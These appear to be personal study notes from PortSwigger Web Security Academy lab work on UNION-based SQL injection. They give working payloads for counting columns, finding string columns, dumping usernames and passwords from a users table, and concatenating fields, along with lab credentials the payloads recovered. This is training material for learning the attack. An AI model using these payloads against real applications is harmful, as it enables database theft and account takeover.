2. SQL Injection - UNION

 SQLi UNION:

Using UNION clause can let you retrieve data from other tables. Lets execute an additional select query.

Union SQL injection works if the results from a query are returned back to the application's response.

Requires to work:

    - individual query must return same amount of columns

    - data type must be compatible between the queries

First:

    - Figure out how many columns are being returned from the original query.

    - Which columns from original query are suitable data type to hold the results from injected query.

Determining Number of Columns Returned from Original Query:

    - Method 1:

    Using "ORDER BY" clause and increment index of possible columns until error occurs. This orders the results to be ordered by different columns.

    EXAMPLE:

    ' ORDER BY 1--

    ' ORDER BY 2--

    ' ORDER BY 3--

    - Method 2:

    Using "UNION SELECT" specifying a number of null values. If number of nulls does not match number of columns, then an error occurs.

    EXAMPLE:

    ' UNION SELECT NULL--

    ' UNION SELECT NULL, NULL--

    ' UNION SELECT NULL, NULL, NULL--

BURP TIP: Use Intruder to snap the request to get the GET portion. Send the request to Repeater and turn of Intruder. Use repeater to modify the GET string to get Error Codes or Responses in Results Window.

Notes

SQLi - Product category filter
	End Goal: determine the number of columns returned by the query.
	Background (Union):
	table1 table2
	a | b c | d
	----- -----
	1 , 2 2 , 3
	3 , 4 4 , 5
	Query #1: select a, b from table1
	1,2
	3,4
	Query #2: select a, b from table1 UNION select c,d from table2
	1,2
	3,4
	2,3
	4,5
	Rule:
	- The number and the order of the columns must be the same in all queries
	- The data types must be compatible
	SQLi attack (way #1):
	select ? from table1 UNION select NULL
	-error -> incorrect number of columns
	URL EXAMPLE: https://0a3a001d045e23e2c004c5a000cf00be.web-security-academy.net/filter?category=Gifts' UNION select NULL--
	select ? from table1 UNION select NULL, NULL, NULL
	-200 response code -> correct number of columns
	URL EXAMPLE: https://0a3a001d045e23e2c004c5a000cf00be.web-security-academy.net/filter?category=Gifts' UNION select NULL, NULL, NULL--
	SQLi attack (way #2):
	select a, b from table1' ORDER BY 3--
	URL EXAMPLE: https://0a3a001d045e23e2c004c5a000cf00be.web-security-academy.net/filter?category=Gifts'ORDER BY 3--
	script.py <url>

Determining if a column can support a type of data to be able to see if we can use UNION to dig up the data types we want.

First find the number of columns returned using methods above.

Then, use "UNION" with "select" to select specified data in each column.

Query Example: ' UNION select NULL, NULL, 'string'--

The third spot is a string while the other 2 are NULLs. If third column supports string then no error occurs, else if don't support string then error occurs.

Step #2: Determine the data type of the columns
	select a, b, c from table1 UNION select NULL, NULL, 'a'
	-> error -> column is not type text
	-> no error -> column is of type text
	Analysis:
	' order by 1--
	-> 3 columns -> 1st column is not shown on the page.
	' UNION select NULL, 'KsZXy4', NULL--
	-> 2nd column of type string
	' UNION select 'a', NULL, NULL--'
	' UNION select NULL, 'a', NULL--

Example Case retrieving the info we want:

We want username and password fields, both are string types.

Site is vulnerable to SQL injection in category filters.

- Find number of columns return in original query.

- Find what data types those columns support.

Using ORDER BY or UNION select NULL-- method to find columns returned.

After finding columns, use:

 ' UNION select username, password from users--

Username and passwords should be returned. This only works because we know the table name "users" and the column names "username" and "password"

SQL Injection - Product category filter.
	End Goal - Output the usernames and passwords in the users table and login as the administrator user.
	Analysis:
	--------
	1) Determine # of columns that the vulnerable query is using
	' order by 1--
	' order by 2--
	' order by 3-- -> internal server error
	3-1 = 2
	2) Determine the data type of the columns
	select a, b from products where category='Gifts
	' UNION select 'a', NULL--
	' UNION select 'a', 'a'--
	-> both columns are of data type string
	' UNION select username, password from users--
	administrator
	tqx26ugf8jp1g30atsu9

Using string concatenation to return two values in one column.

- Find number of columns returned by original query.

- Find data type of the columns.

- Test to see if username can be returned in the column that supports strings.

' UNION select NULL, username FROM users--

- If it does then concatenate password values to the username column.

' UNION select NULL, username || '~' || password FROM users--

To concatenate two columns, use two bracket closer and a string character as a separator.

This is ORACLE's way to concatenate strings. By using || || brackets.

SQL Injection - Product category filter
	End Goal: retrieve all usernames and passwords and login as the administrator user.
	Analysis:
	--------
	(1) Find the number of columns that the vulnerable is using:
	' order by 1-- -> not displayed on the page
	' order by 2-- -> displayed on the page
	' order by 3-- -> internal server error
	3 - 1 = 2
	(2) Find which columns contain text
	' UNION SELECT 'a', NULL--
	' UNION SELECT NULL, 'a'-- ->**
	(3) Output data from other tables
	' UNION select NULL, username from users--
	' UNION select NULL, password from users--
	' UNION select NULL, version()--
	-> PostgreSQL 11.11 (Debian 11.11-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit
	' UNION select NULL, username || '*' || password from users--
	carlos*hx8lpsrznosr462ydnvh
	administrator*35v95vbpktdv4c2nqgak
	wiener*0qc4vtnx4o08sr5nsstf